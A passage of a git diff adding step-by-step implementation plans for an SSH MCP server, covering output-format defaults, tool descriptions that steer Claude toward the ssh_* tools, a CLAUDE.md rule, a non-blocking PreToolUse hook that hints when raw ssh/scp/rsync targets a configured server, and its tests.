renderMarkdown(result) }, + { type: 'text', text: JSON.stringify(result) }, + ]; + } + return [{ type: 'text', text: renderMarkdown(result) }]; +} +``` + +- [ ] **Step 4: Add `compact` to `toMcp`** + +In `src/structured-result.js`, replace the entire `toMcp` function with: + +```javascript +/** + * Package a structured result as MCP content. + * format: "compact" (default) | "markdown" | "json" | "both". + */ +export function toMcp(result, { format = 'compact', renderer } = {}) { + const md = (renderer || defaultRender)(result); + if (format === 'json') { + return { content: [{ type: 'text', text: JSON.stringify(result) }], isError: !result.success }; + } + if (format === 'both') { + return { + content: [ + { type: 'text', text: md }, + { type: 'text', text: JSON.stringify(result) }, + ], + isError: !result.success, + }; + } + return { content: [{ type: 'text', text: md }], isError: !result.success }; +} +``` + +- [ ] **Step 5: Run tests to verify they pass** + +Run: `node tests/test-output-formatter.js` then `node tests/test-structured-result.js` +Expected: PASS — both new default-format tests green. + +- [ ] **Step 6: Run the full suite** + +Run: `npm test` +Expected: `35 files, 670 passed, 0 failed`. The test count is unchanged from Plan 1 — this plan rewrites tests rather than adding them. Zero failures. + +- [ ] **Step 7: Commit** + +```bash +git add src/output-formatter.js src/structured-result.js tests/test-output-formatter.js tests/test-structured-result.js +git commit -m "feat: make compact the default v4 output format" +``` + +--- + +## Done criteria + +- `defaultRender` and `renderMarkdown` emit `renderHeader` headers and 2-space-indented bodies — no ` ``` ` fences, no `**bold**`, no `*italic*`, no `>` blockquotes. +- `compact` is the default format for both `makeMcpContent` and `toMcp`; `markdown`, `json`, `both` still accepted. +- `npm test` is green: `670 passed, 0 failed`. +- No tool handler in `src/tools/` was modified — this plan is confined to the two renderers and the two MCP-content packagers. + +Plan 3 (compressors) adds `src/command-compressors.js` and wires per-command output compression into the formatter pipeline ahead of truncation. diff --git a/docs/superpowers/plans/2026-05-17-ssh-mcp-v4-adoption.md b/docs/superpowers/plans/2026-05-17-ssh-mcp-v4-adoption.md new file mode 100644 index 0000000..24b7cf7 --- /dev/null +++ b/docs/superpowers/plans/2026-05-17-ssh-mcp-v4-adoption.md @@ -0,0 +1,929 @@ +# ssh-mcp v4 Adoption Implementation Plan + +> **For agentic workers:** REQUIRED SUB-SKILL: Use superpowers:subagent-driven-development (recommended) or superpowers:executing-plans to implement this plan task-by-task. Steps use checkbox (`- [ ]`) syntax for tracking. + +**Goal:** Make Claude *choose* the 13 v4 `ssh_*` tools over raw `ssh` through the Bash tool. The tool consolidation (Plans 4-5) makes the surface small enough to stay un-deferred; this plan supplies the three behavioural nudges that close the gap — selling tool descriptions that name the bash they replace, a project `CLAUDE.md` rule, and a soft PreToolUse Bash hook — and corrects every stale tool/test count left in the docs. + +**Architecture:** Four independent deliverables, no shared runtime state. +1. A new `src/tool-descriptions.js` exports the 13 v4 tool descriptions as a frozen map; `src/index.js` imports it and the v4 registration block uses `V4_TOOL_DESCRIPTIONS.` for each `description` field. A test asserts every description cues when-to-use and names the raw bash it replaces. +2. A `CLAUDE.md` rule block (prefer-the-MCP-tools, with the why). +3. A Claude Code PreToolUse hook: `.claude/settings.json` registers `.claude/hooks/ssh-bash-nudge.mjs`, a fail-open Node script that inspects a `Bash` tool call, detects a plain `ssh ` / `scp` / `rsync` against a configured server, and prints a non-blocking nudge. A test exercises the detector directly. +4. Stale-count corrections in `CLAUDE.md`, `docs/TOOL_MANAGEMENT.md`, and `scripts/finalize.sh`. + +This plan adds two source files (`src/tool-descriptions.js`, `.claude/hooks/ssh-bash-nudge.mjs`) and one config file (`.claude/settings.json`); it edits `src/index.js`, `CLAUDE.md`, `docs/TOOL_MANAGEMENT.md`, and `scripts/finalize.sh`. It does not touch any tool handler in `src/tools/`. + +**Tech Stack:** Node.js ESM, the `node:assert`-based suites run by `scripts/run-tests.mjs`, Claude Code's settings-and-hooks JSON contract. + +This is Plan 6 of 6 — the last. Plans 1-5 are complete: render primitives, output rewrite, compressors, the 13-tool dispatcher facade, new capabilities. The v4 tool surface — `ssh_run`, `ssh_file`, `ssh_find`, `ssh_logs`, `ssh_service`, `ssh_health`, `ssh_db`, `ssh_backup`, `ssh_session`, `ssh_net`, `ssh_docker`, `ssh_fleet`, `ssh_plan` — exists and is registered in `src/index.js` when this plan executes. Source spec: `docs/superpowers/specs/2026-05-16-ssh-mcp-redesign-design.md` section 5. + +--- + +## File Structure + +- **Create `src/tool-descriptions.js`** — `V4_TOOL_DESCRIPTIONS`, a frozen map of the 13 v4 tool names to their selling descriptions. Each description cues when-to-use and names the raw bash it replaces. Single source of truth; imported by `src/index.js` and asserted by a test. +- **Modify `src/index.js`** — import `V4_TOOL_DESCRIPTIONS`; in the v4 registration block, set each tool's `description` field to `V4_TOOL_DESCRIPTIONS.` instead of an inline string. +- **Create `tests/test-tool-descriptions.js`** — asserts the map has exactly the 13 v4 keys, that every description names raw bash and carries a when-to-use cue, and that `src/index.js` actually imports the map. Auto-discovered by `scripts/run-tests.mjs` (matches `test-*.js`). +- **Modify `CLAUDE.md`** — add the prefer-the-MCP-tools rule block; correct the stale `51 tools` / `37 tools` / `551 tests` references. +- **Create `.claude/hooks/ssh-bash-nudge.mjs`** — the PreToolUse hook script. Reads the hook payload on stdin, detects a simple `ssh`/`scp`/`rsync` invocation against a configured server, prints a soft non-blocking nudge, always exits 0. +- **Create `.claude/settings.json`** — registers the hook on the `Bash` matcher under `hooks.PreToolUse`. +- **Create `tests/test-bash-nudge.js`** — exercises the hook's `detectSshNudge` detector directly: simple invocations matched, complex command lines passed through, fail-open behaviour. +- **Modify `docs/TOOL_MANAGEMENT.md`** — correct every `37 tools` / `~43.5k tokens` / group-count reference to the v4 13-tool surface. +- **Modify `scripts/finalize.sh`** — correct the `51 tools` phrase in the GitHub repo description. + +The PreToolUse hook lives under `.claude/` because that directory is already committed (it holds `agent-memory/` and `skills/`) and `.gitignore` excludes only `.claude/` *runtime* artifacts (`scheduled_tasks.lock`, `scheduled_tasks/`, `.last_run`) — a `.claude/settings.json` and `.claude/hooks/` script are tracked normally. The hook is a Claude Code PreToolUse hook, unrelated to the repo's Python `pre-commit` git hooks (`scripts/setup-hooks.sh`). + +--- + +## Task 1: v4 tool-description map + +Create the single source of truth for the 13 v4 tool descriptions. Each one does two jobs the spec (section 5) demands: it cues *when to use* the tool and it names the *raw bash it replaces*, so Claude — seeing the loaded schema — reaches for the tool instead of falling back to `ssh` in Bash. + +**Files:** +- Create: `src/tool-descriptions.js` +- Test: `tests/test-tool-descriptions.js` (create) + +- [ ] **Step 1: Write the failing test** + +Create `tests/test-tool-descriptions.js`: + +```javascript +#!/usr/bin/env node +/** + * Test suite for src/tool-descriptions.js. + * Run: node tests/test-tool-descriptions.js + */ +import assert from 'assert'; +import { readFileSync } from 'fs'; +import { V4_TOOL_DESCRIPTIONS } from '../src/tool-descriptions.js'; + +let passed = 0; +let failed = 0; +const fails = []; + +function test(name, fn) { + try { + fn(); + passed++; + console.log(`[ok] ${name}`); + } catch (e) { + failed++; + fails.push({ name, err: e }); + console.error(`[err] ${name}: ${e.message}`); + } +} + +console.log('[test] Testing tool-descriptions\n'); + +const V4_TOOLS = [ + 'ssh_run', 'ssh_file', 'ssh_find', 'ssh_logs', 'ssh_service', + 'ssh_health', 'ssh_db', 'ssh_backup', 'ssh_session', 'ssh_net', + 'ssh_docker', 'ssh_fleet', 'ssh_plan', +]; + +test('map has exactly the 13 v4 tool keys', () => { + assert.deepStrictEqual(Object.keys(V4_TOOL_DESCRIPTIONS).sort(), [...V4_TOOLS].sort()); +}); + +test('map is frozen', () => { + assert(Object.isFrozen(V4_TOOL_DESCRIPTIONS)); +}); + +test('every description is a non-trivial string', () => { + for (const t of V4_TOOLS) { + const d = V4_TOOL_DESCRIPTIONS[t]; + assert.strictEqual(typeof d, 'string', `${t} description is a string`); + assert(d.length >= 60, `${t} description has substance (>=60 chars)`); + } +}); + +test('every description names the raw bash it replaces', () => { + // The selling point: each description points at the `ssh ...` / scp / rsync + // command it supersedes. Backtick-quoted so the model sees a concrete command. + for (const t of V4_TOOLS) { + const d = V4_TOOL_DESCRIPTIONS[t]; + assert(/`[^`]*(?:ssh |scp|rsync)[^`]*`/.test(d), + `${t} description names a raw bash command in backticks`); + } +}); + +test('every description carries a when-to-use cue', () => { + // "use instead of" / "use for" / "reach for" -- an explicit selection cue. + for (const t of V4_TOOLS) { + const d = V4_TOOL_DESCRIPTIONS[t].toLowerCase(); + assert(/use instead of|use for|use to|reach for/.test(d), + `${t} description has a when-to-use cue`); + } +}); + +test('descriptions sell the win -- capped/pooled/structured output', () => { + // At least one concrete benefit phrase per description: this is why the tool + // beats raw ssh (bounded output, pooled connection, structured result). + for (const t of V4_TOOLS) { + const d = V4_TOOL_DESCRIPTIONS[t].toLowerCase(); + assert(/cap|bound|truncat|pool|structur|flood|filter|exit code|escape hatch/.test(d), + `${t} description states a concrete advantage over raw ssh`); + } +}); + +test('src/index.js imports the description map', () => { + // Guards against the map drifting out of use if a future edit re-inlines + // description strings in the v4 registration block. + const idx = readFileSync(new URL('../src/index.js', import.meta.url), 'utf8'); + assert(/V4_TOOL_DESCRIPTIONS/.test(idx), 'index.js references V4_TOOL_DESCRIPTIONS'); + assert(/from\s+['"]\.\/tool-descriptions\.js['"]/.test(idx), + 'index.js imports from ./tool-descriptions.js'); +}); + +console.log(`\n${passed} passed, ${failed} failed`); +if (failed > 0) { + for (const f of fails) console.error(` [err] ${f.name}\n ${f.err.stack}`); + process.exit(1); +} +``` + +- [ ] **Step 2: Run test to verify it fails** + +Run: `node tests/test-tool-descriptions.js` +Expected: FAIL — `Cannot find module '../src/tool-descriptions.js'`. + +- [ ] **Step 3: Write the description map** + +Create `src/tool-descriptions.js`: + +```javascript +/** + * v4 tool descriptions -- single source of truth. + * + * Each entry cues WHEN to use the tool and names the raw bash it replaces, so + * the loaded schema steers Claude onto these tools instead of `ssh` via Bash. + * src/index.js imports this; the v4 registration block uses these strings as + * each tool's `description`. Edit text here, never inline in index.js. + */ +export const V4_TOOL_DESCRIPTIONS = Object.freeze({ + ssh_run: + 'Run commands on a configured server. Use instead of `ssh host "cmd"` ' + + '-- a `script` action chains `cmd1; cmd2; cmd3` in one round trip with ' + + 'per-segment exit codes, the pooled connection skips the per-call SSH ' + + 'handshake, and output is capped so a noisy command will not flood ' + + 'context. Actions: exec, sudo, script, fleet, detach, job-status, job-kill.', + ssh_file: + 'Move and edit files on a configured server. Use instead of ' + + '`scp local host:remote` or `ssh host "cat > f <`. Concretely, each call changes from the shape: + +```javascript +registerToolConditional( + 'ssh_run', + { + description: '', + inputSchema: { /* unchanged */ }, + }, + /* handler unchanged */ +); +``` + +to: + +```javascript +registerToolConditional( + 'ssh_run', + { + description: V4_TOOL_DESCRIPTIONS.ssh_run, + inputSchema: { /* unchanged */ }, + }, + /* handler unchanged */ +); +``` + +Apply the identical change to all 13: `ssh_run`, `ssh_file`, `ssh_find`, `ssh_logs`, `ssh_service`, `ssh_health`, `ssh_db`, `ssh_backup`, `ssh_session`, `ssh_net`, `ssh_docker`, `ssh_fleet`, `ssh_plan`. Only the `description` field changes; `inputSchema` and the handler are untouched. + +- [ ] **Step 6: Run test to verify it passes** + +Run: `node tests/test-tool-descriptions.js` +Expected: PASS — `7 passed, 0 failed`. The `src/index.js imports the description map` test now passes. + +- [ ] **Step 7: Verify the server still starts** + +Run: `node --check src/index.js` +Expected: exit 0, no output — `index.js` is still syntactically valid after the import and the 13 description-field edits. + +- [ ] **Step 8: Run the full suite** + +Run: `npm test` +Expected: the new `test-tool-descriptions.js` suite appears in the file count and adds 7 passing tests; `0 failed`. No pre-existing suite regresses — this task only added an import and swapped 13 string literals for map lookups of equal-or-better descriptions. + +- [ ] **Step 9: Commit** + +```bash +git add src/tool-descriptions.js tests/test-tool-descriptions.js src/index.js +git commit -m "feat: selling v4 tool descriptions that name the bash they replace" +``` + +--- + +## Task 2: `CLAUDE.md` prefer-the-MCP-tools rule + +Add a rule to the project `CLAUDE.md` instructing Claude to use the `ssh_*` MCP tools rather than raw `ssh` via the Bash tool for any configured server — with the why (connection pooling, output truncation, credential handling) so the instruction is persuasive, not arbitrary. + +**Files:** +- Modify: `CLAUDE.md` + +- [ ] **Step 1: Insert the rule block** + +In `CLAUDE.md`, immediately after the `## Claude Code Integration` section (the block that ends with the line `` Configuration is stored in `~/.config/claude-code/claude_code_config.json` ``) and **before** the `` line, insert this new section verbatim: + +```markdown +## Using the SSH Tools + +**For any server configured in this MCP server, use the `ssh_*` MCP tools — not raw `ssh`, `scp`, or `rsync` through the Bash tool.** + +The 13 v4 tools (`ssh_run`, `ssh_file`, `ssh_find`, `ssh_logs`, `ssh_service`, `ssh_health`, `ssh_db`, `ssh_backup`, `ssh_session`, `ssh_net`, `ssh_docker`, `ssh_fleet`, `ssh_plan`) are not a read-only convenience layer — they are the intended way to operate the fleet. Reach for them first. + +Why they beat raw `ssh` in Bash: + +- **Connection pooling** — the MCP server holds persistent SSH connections, so there is no per-call handshake. Raw `ssh` in Bash reconnects every single time. +- **Bounded output** — results are compressed and head+tail truncated, so a noisy command (`journalctl`, `ps`, a 100k-line log) will not flood the context window. Raw `ssh` dumps everything. +- **Credential handling** — passwords and sudo passwords are passed via stdin or env, never leaked on the argv of a `ps`-visible process. Raw `ssh` with an inline password is exposed. +- **Structured results** — per-segment exit codes for command chains, typed service/health snapshots, SFTP transfers with sha256 verification. Raw `ssh` gives an unstructured terminal dump. + +Raw `ssh` through Bash is acceptable only for a host that is **not** in the MCP configuration. Run `ssh_fleet action: servers` to see which servers are configured. +``` + +- [ ] **Step 2: Verify the insertion** + +Run: `grep -n "Using the SSH Tools" CLAUDE.md && grep -c "ssh_run" CLAUDE.md` +Expected: the `grep -n` line prints the heading with its line number; the section sits after `## Claude Code Integration` and before ``. The `grep -c` count is at least `1` (the rule block mentions `ssh_run`). + +- [ ] **Step 3: Verify no GitNexus block was disturbed** + +Run: `grep -c "gitnexus:start" CLAUDE.md && grep -c "gitnexus:end" CLAUDE.md` +Expected: each prints `1` — the managed GitNexus block is intact and the new section was inserted strictly above it. + +- [ ] **Step 4: Commit** + +```bash +git add CLAUDE.md +git commit -m "docs: add CLAUDE.md rule to prefer ssh_* MCP tools over raw ssh" +``` + +--- + +## Task 3: PreToolUse Bash hook — the detector + +Build the detector that the PreToolUse hook uses: given a Bash command string and the set of configured server names, decide whether the command is a *simple* `ssh`/`scp`/`rsync` invocation against a configured server and, if so, which v4 tool to suggest. Best-effort by design — it handles the simple shapes and passes everything else (pipelines, command substitution, multi-host) through with no nudge. This task builds and tests the pure detector; Task 4 wraps it in the stdin/stdout hook shell. + +**Files:** +- Create: `.claude/hooks/ssh-bash-nudge.mjs` +- Test: `tests/test-bash-nudge.js` (create) + +- [ ] **Step 1: Write the failing test** + +Create `tests/test-bash-nudge.js`: + +```javascript +#!/usr/bin/env node +/** + * Test suite for the PreToolUse Bash-nudge detector. + * Run: node tests/test-bash-nudge.js + */ +import assert from 'assert'; +import { detectSshNudge } from '../.claude/hooks/ssh-bash-nudge.mjs'; + +let passed = 0; +let failed = 0; +const fails = []; + +function test(name, fn) { + try { + fn(); + passed++; + console.log(`[ok] ${name}`); + } catch (e) { + failed++; + fails.push({ name, err: e }); + console.error(`[err] ${name}: ${e.message}`); + } +} + +console.log('[test] Testing bash-nudge detector\n'); + +const SERVERS = ['prod01', 'devcentos', 'db1']; + +// --- positive: simple ssh ----------------------------------------------- +test('plain "ssh " against a configured server is nudged', () => { + const n = detectSshNudge('ssh prod01 uptime', SERVERS); + assert(n, 'a nudge is returned'); + assert.strictEqual(n.tool, 'ssh_run'); + assert(n.message.includes('prod01'), 'names the server'); + assert(n.message.includes('ssh_run'), 'names the suggested tool'); +}); + +test('"ssh user@host" form is matched on the host part', () => { + const n = detectSshNudge('ssh root@devcentos df -h', SERVERS); + assert(n && n.tool === 'ssh_run'); +}); + +test('ssh with a -p port flag before the host is still matched', () => { + const n = detectSshNudge('ssh -p 22 prod01 whoami', SERVERS); + assert(n && n.tool === 'ssh_run'); +}); + +// --- positive: scp / rsync ---------------------------------------------- +test('scp to a configured server is nudged toward ssh_file', () => { + const n = detectSshNudge('scp ./app.tar prod01:/srv/app.tar', SERVERS); + assert(n && n.tool === 'ssh_file'); +}); + +test('rsync to a configured server is nudged toward ssh_file', () => { + const n = detectSshNudge('rsync -a ./dist/ devcentos:/var/www/', SERVERS); + assert(n && n.tool === 'ssh_file'); +}); + +// --- negative: not a configured server ---------------------------------- +test('ssh to an unconfigured host is NOT nudged', () => { + assert.strictEqual(detectSshNudge('ssh some-random-box uptime', SERVERS), null); +}); + +test('a configured name as a substring of another host is not matched', () => { + // "db1" must not match "db1.example.com" or "olddb1". + assert.strictEqual(detectSshNudge('ssh db1.example.com ls', SERVERS), null); + assert.strictEqual(detectSshNudge('ssh olddb1 ls', SERVERS), null); +}); + +// --- negative: complex command lines pass through ----------------------- +test('a piped command line is passed through (no nudge)', () => { + assert.strictEqual(detectSshNudge('ssh prod01 ps aux | grep node', SERVERS), null); +}); + +test('command substitution is passed through (no nudge)', () => { + assert.strictEqual(detectSshNudge('ssh prod01 "$(cat cmd.txt)"', SERVERS), null); + assert.strictEqual(detectSshNudge('ssh prod01 `hostname`', SERVERS), null); +}); + +test('an && / ; chained command line is passed through', () => { + assert.strictEqual(detectSshNudge('cd /tmp && ssh prod01 ls', SERVERS), null); + assert.strictEqual(detectSshNudge('ssh prod01 ls; echo done', SERVERS), null); +}); + +test('a redirected command line is passed through', () => { + assert.strictEqual(detectSshNudge('ssh prod01 cat big.log > out.txt', SERVERS), null); +}); + +test('non-ssh commands are never nudged', () => { + assert.strictEqual(detectSshNudge('ls -la /tmp', SERVERS), null); + assert.strictEqual(detectSshNudge('git status', SERVERS), null); +}); + +// --- fail-open ---------------------------------------------------------- +test('empty / nullish command is safe and returns null', () => { + assert.strictEqual(detectSshNudge('', SERVERS), null); + assert.strictEqual(detectSshNudge(null, SERVERS), null); + assert.strictEqual(detectSshNudge(undefined, SERVERS), null); +}); + +test('empty / nullish server list is safe and returns null', () => { + assert.strictEqual(detectSshNudge('ssh prod01 uptime', []), null); + assert.strictEqual(detectSshNudge('ssh prod01 uptime', null), null); +}); + +test('an "ssh" substring inside another word does not trigger', () => { + // "sshpass" / "myssh" must not be read as the ssh client. + assert.strictEqual(detectSshNudge('sshpass -p x ssh prod01 ls', SERVERS), null); +}); + +console.log(`\n${passed} passed, ${failed} failed`); +if (failed > 0) { + for (const f of fails) console.error(` [err] ${f.name}\n ${f.err.stack}`); + process.exit(1); +} +``` + +Note `sshpass -p x ssh prod01 ls` is expected to return `null`: it contains a pipe-free `ssh prod01` but the leading token is `sshpass`, not `ssh`/`scp`/`rsync`, so the detector — which only inspects the first token — declines it. Passing an `sshpass` line through unchanged is the correct fail-open behaviour. + +- [ ] **Step 2: Run test to verify it fails** + +Run: `node tests/test-bash-nudge.js` +Expected: FAIL — `Cannot find module '../.claude/hooks/ssh-bash-nudge.mjs'`. + +- [ ] **Step 3: Write the hook script (detector portion)** + +Create `.claude/hooks/ssh-bash-nudge.mjs` with the content below. This step writes the **whole file** — the detector plus the CLI shell — because the file must be syntactically complete to import. Task 4 verifies the CLI shell; this task's tests cover only the exported `detectSshNudge`. + +```javascript +#!/usr/bin/env node +/** + * PreToolUse hook for the Bash tool. Detects a simple ssh/scp/rsync invocation + * against a configured server and prints a soft, non-blocking nudge toward the + * matching ssh_* MCP tool. Best-effort: simple shapes nudged, complex command + * lines passed through. Fail-open -- any error exits 0 with no nudge. + * + * Wired in .claude/settings.json under hooks.PreToolUse, matcher "Bash". + */ +import { readFileSync } from 'fs'; + +// Shell metacharacters => the command line is not a simple invocation. Bail. +const COMPLEX = /[|&;<>`]|\$\(/; + +/** Configured server names from the project .env (best-effort, never throws). */ +export function configuredServers(envPath) { + try { + const text = readFileSync(envPath, 'utf8'); + const names = new Set(); + for (const line of text.split('\n')) { + // SSH_SERVER__HOST=... -- is the server identifier. + const m = /^\s*SSH_SERVER_([A-Za-z0-9]+)_HOST\s*=/.exec(line); + if (m) names.add(m[1].toLowerCase()); + } + return [...names]; + } catch { + return []; + } +} + +/** Strip a leading user@ and return the bare host token, lowercased. */ +function bareHost(token) { + const at = token.lastIndexOf('@'); + return (at === -1 ? token : token.slice(at + 1)).toLowerCase(); +} + +/** + * Inspect a Bash command string. Returns { tool, message } when it is a simple + * ssh/scp/rsync call against a configured server, else null. Never throws. + */ +export function detectSshNudge(command, servers) { + try { + if (!command || typeof command !== 'string') return null; + if (!Array.isArray(servers) || servers.length === 0) return null; + if (COMPLEX.test(command)) return null; + + const set = new Set(servers.map((s) => String(s).toLowerCase())); + const tokens = command.trim().split(/\s+/); + const head = tokens[0]; + + if (head === 'ssh') { + // First token after the flags that is not a flag or a flag-value is the host. + for (let i = 1; i < tokens.length; i++) { + const t = tokens[i]; + if (t === '-p' || t === '-i' || t === '-l' || t === '-o' || t === '-F') { + i++; // skip this flag's value + continue; + } + if (t.startsWith('-')) continue; + return set.has(bareHost(t)) + ? { tool: 'ssh_run', message: nudgeText(bareHost(t), 'ssh_run', 'ssh') } + : null; + } + return null; + } + + if (head === 'scp' || head === 'rsync') { + // Any non-flag token of the form host:path against a configured server. + for (let i = 1; i < tokens.length; i++) { + const t = tokens[i]; + if (t.startsWith('-')) continue; + const colon = t.indexOf(':'); + if (colon > 0 && set.has(bareHost(t.slice(0, colon)))) { + const host = bareHost(t.slice(0, colon)); + return { tool: 'ssh_file', message: nudgeText(host, 'ssh_file', head) }; + } + } + return null; + } + + return null; + } catch { + return null; + } +} + +/** The soft nudge text shown in the PreToolUse hook output. */ +function nudgeText(host, tool, rawCmd) { + return `[ssh-manager] '${host}' is a configured server. Consider the ` + + `${tool} MCP tool instead of raw \`${rawCmd}\` -- pooled connection, ` + + `bounded output, structured result. (This is a hint, not a block.)`; +} + +// --- CLI shell: invoked by Claude Code as a PreToolUse hook -------------- +// Reads the hook JSON payload on stdin; prints a nudge on stdout if one +// applies; always exits 0 so the Bash call is never blocked. +function main() { + let raw = ''; + try { + raw = readFileSync(0, 'utf8'); + } catch { + process.exit(0); // no stdin -> nothing to inspect + } + + let payload; + try { + payload = JSON.parse(raw); + } catch { + process.exit(0); // unparseable payload -> fail open + } + + const command = payload && payload.tool_input && payload.tool_input.command; + const envPath = new URL('../../.env', import.meta.url).pathname; + const nudge = detectSshNudge(command, configuredServers(envPath)); + if (nudge) console.log(nudge.message); + process.exit(0); +} + +// Run main() only when executed directly, never when imported by a test. +if (import.meta.url === `file://${process.argv[1]}`) { + main(); +} +``` + +- [ ] **Step 4: Run test to verify it passes** + +Run: `node tests/test-bash-nudge.js` +Expected: PASS — `16 passed, 0 failed`. + +- [ ] **Step 5: Make the hook executable** + +Run: `chmod +x .claude/hooks/ssh-bash-nudge.mjs` +Expected: exit 0. The hook is launched via `node`, so the bit is belt-and-braces, but it keeps the file consistent with other executable scripts in the repo. + +- [ ] **Step 6: Commit** + +```bash +git add .claude/hooks/ssh-bash-nudge.mjs tests/test-bash-nudge.js +git commit -m "feat: add PreToolUse Bash-nudge detector for raw ssh invocations" +``` + +--- + +## Task 4: Register the hook and verify the CLI shell + +The detector is built and tested. Now register it as a Claude Code PreToolUse hook via `.claude/settings.json`, and verify the CLI shell end-to-end: pipe a hook payload to the script and confirm it nudges on a simple invocation, stays silent on a complex one, and always exits 0. + +**Files:** +- Create: `.claude/settings.json` +- Test: `tests/test-bash-nudge.js` (extend) + +- [ ] **Step 1: Write the failing CLI-shell tests** + +In `tests/test-bash-nudge.js`, add this import alongside the existing imports at the top: + +```javascript +import { execFileSync } from 'child_process'; +import { fileURLToPath } from 'url'; +``` + +Add these tests immediately before the final `console.log(`\n${passed} passed, ${failed} failed`);` line: + +```javascript +// --- CLI shell (end-to-end through stdin/stdout) ------------------------ +const HOOK = fileURLToPath(new URL('../.claude/hooks/ssh-bash-nudge.mjs', import.meta.url)); + +// Run the hook with a JSON payload on stdin; capture { stdout, status }. +function runHook(payloadObj) { + try { + const stdout = execFileSync('node', [HOOK], { + input: JSON.stringify(payloadObj), encoding: 'utf8', + }); + return { stdout, status: 0 }; + } catch (e) { + return { stdout: e.stdout || '', status: e.status }; + } +} + +test('CLI: malformed stdin exits 0 with no output', () => { + let status; + try { + execFileSync('node', [HOOK], { input: 'not json', encoding: 'utf8' }); + status = 0; + } catch (e) { + status = e.status; + } + assert.strictEqual(status, 0, 'fail-open on unparseable payload'); +}); + +test('CLI: a non-ssh Bash payload exits 0 with no nudge', () => { + const r = runHook({ tool_name: 'Bash', tool_input: { command: 'ls -la' } }); + assert.strictEqual(r.status, 0); + assert.strictEqual(r.stdout.trim(), '', 'no nudge for a plain ls'); +}); + +test('CLI: a complex ssh payload exits 0 with no nudge', () => { + const r = runHook({ + tool_name: 'Bash', + tool_input: { command: 'ssh prod01 ps aux | grep node' }, + }); + assert.strictEqual(r.status, 0); + assert.strictEqual(r.stdout.trim(), '', 'piped command passed through'); +}); + +test('CLI: empty payload object exits 0', () => { + assert.strictEqual(runHook({}).status, 0); +}); +``` + +These four CLI tests pass without any configured server: with no `.env` (or one with no `SSH_SERVER_*` entries), `configuredServers` returns `[]`, so `detectSshNudge` returns `null` and the hook prints nothing — which is exactly what `non-ssh`, `complex`, and `empty` assert. The malformed-stdin test exercises the fail-open path directly. No test depends on a server being configured, so the suite is environment-independent. + +- [ ] **Step 2: Run test to verify it fails** + +Run: `node tests/test-bash-nudge.js` +Expected: FAIL — the new `CLI:` tests reference `runHook` / `HOOK` and `execFileSync`; before the imports and helper land they fail with a `ReferenceError`. (If the import line was added but a test body is missing, the count is wrong — re-check Step 1.) + +- [ ] **Step 3: There is no implementation step** + +The CLI shell (`main()` and the `import.meta.url === ...` guard) was already written in Task 3 Step 3 as part of the complete file. Step 1's tests exercise that existing code. Move straight to Step 4. + +- [ ] **Step 4: Run test to verify it passes** + +Run: `node tests/test-bash-nudge.js` +Expected: PASS — `20 passed, 0 failed` (16 detector tests from Task 3 plus 4 CLI tests). + +- [ ] **Step 5: Create the settings file that registers the hook** + +Create `.claude/settings.json`: + +```json +{ + "hooks": { + "PreToolUse": [ + { + "matcher": "Bash", + "hooks": [ + { + "type": "command", + "command": "node \"$CLAUDE_PROJECT_DIR/.claude/hooks/ssh-bash-nudge.mjs\"" + } + ] + } + ] + } +} +``` + +The `$CLAUDE_PROJECT_DIR` variable is expanded by Claude Code to the project root, so the hook resolves regardless of the working directory. The hook prints to stdout and exits 0, so it is a pure non-blocking nudge — it never sets a `deny`/`block` decision and never stops a `Bash` call. + +- [ ] **Step 6: Validate the settings JSON** + +Run: `node -e "JSON.parse(require('fs').readFileSync('.claude/settings.json','utf8')); console.log('settings.json valid')"` +Expected: prints `settings.json valid`. Confirms the file parses as JSON. + +- [ ] **Step 7: Smoke-test the registered hook path manually** + +Run: `printf '%s' '{"tool_name":"Bash","tool_input":{"command":"ssh nonexistent-host uptime"}}' | node .claude/hooks/ssh-bash-nudge.mjs; echo "exit=$?"` +Expected: no nudge line (the host is not configured), then `exit=0`. This confirms the exact stdin-to-exit-code path Claude Code drives, end to end. + +- [ ] **Step 8: Run the full suite** + +Run: `npm test` +Expected: `test-bash-nudge.js` contributes 20 passing tests; `0 failed`; no pre-existing suite regresses. + +- [ ] **Step 9: Commit** + +```bash +git add .claude/settings.json tests/test-bash-nudge.js +git commit -m "feat: register PreToolUse Bash-nudge hook in .claude/settings.json" +``` + +--- + +## Task 5: Correct stale tool and test counts + +The repo still advertises the pre-v4 surface — `51 tools`, `37 tools`, `7`/`6` groups, `551 tests`, `~43.5k tokens`. Correct every occurrence to the v4 reality: **13 tools**, no tool *groups* (v4 is a flat un-deferred surface), and the live test count. This task is documentation-only — no code, no test logic — so each step gives the exact final text and a concrete verification. + +**Files:** +- Modify: `CLAUDE.md` +- Modify: `docs/TOOL_MANAGEMENT.md` +- Modify: `scripts/finalize.sh` + +- [ ] **Step 1: Capture the live test count** + +Run: `npm test` +Expected: a final line of the form `N files, M passed, 0 failed`. **Record the exact `M`** — this is the post-Plans-4-5 test total, including this plan's `test-tool-descriptions.js` (7) and `test-bash-nudge.js` (20). Use that recorded `M` everywhere Step 2 writes ``. Do not guess the number; read it from this run. + +- [ ] **Step 2: Fix `CLAUDE.md`** + +In `CLAUDE.md`, make these three exact replacements. + +Replace the Project Overview line: + +``` +51 tools, 7 groups, opt-in per user. Connection pooling, streaming exec, head+tail output truncation, ASCII-only rendering. +``` + +with: + +``` +13 fat verb-tools, each covering one domain via an `action` enum. Always loaded (un-deferred). Connection pooling, streaming exec, head+tail output truncation, command-output compression, ASCII-only rendering. +``` + +Replace the Architecture bullet: + +``` +- **`src/index.js`** — MCP server entry, registers all 51 tools via `registerToolConditional()` +``` + +with: + +``` +- **`src/index.js`** — MCP server entry, registers the 13 v4 tools via `registerToolConditional()`; descriptions sourced from `src/tool-descriptions.js` +``` + +Replace the Development and Testing comment (inside the ` ```bash ` block): + +``` +npm test # Run 551 tests across 26 suites +``` + +with (substituting the `M` recorded in Step 1 for ``): + +``` +npm test # Run tests +``` + +- [ ] **Step 3: Verify `CLAUDE.md` has no stale counts** + +Run: `grep -nE "51 tool|37 tool|7 group|551 test|26 suite" CLAUDE.md` +Expected: no output (exit 1) — every stale count is gone. (`13` and the GitNexus block's own symbol counts are unrelated and stay.) + +- [ ] **Step 4: Fix `docs/TOOL_MANAGEMENT.md`** + +`docs/TOOL_MANAGEMENT.md` documents the v3 per-group enable/disable model, which v4 replaces with a flat always-loaded surface. Rather than rewrite the whole guide, replace its `## Overview` section so it states the v4 reality and points forward. Replace everything from the line `# Tool Management Guide` down to (and including) the line that ends `...maximum efficiency` — i.e. the title, the `## Overview` heading, the intro paragraph, and the `### Why Manage Tools?` list — with: + +```markdown +# Tool 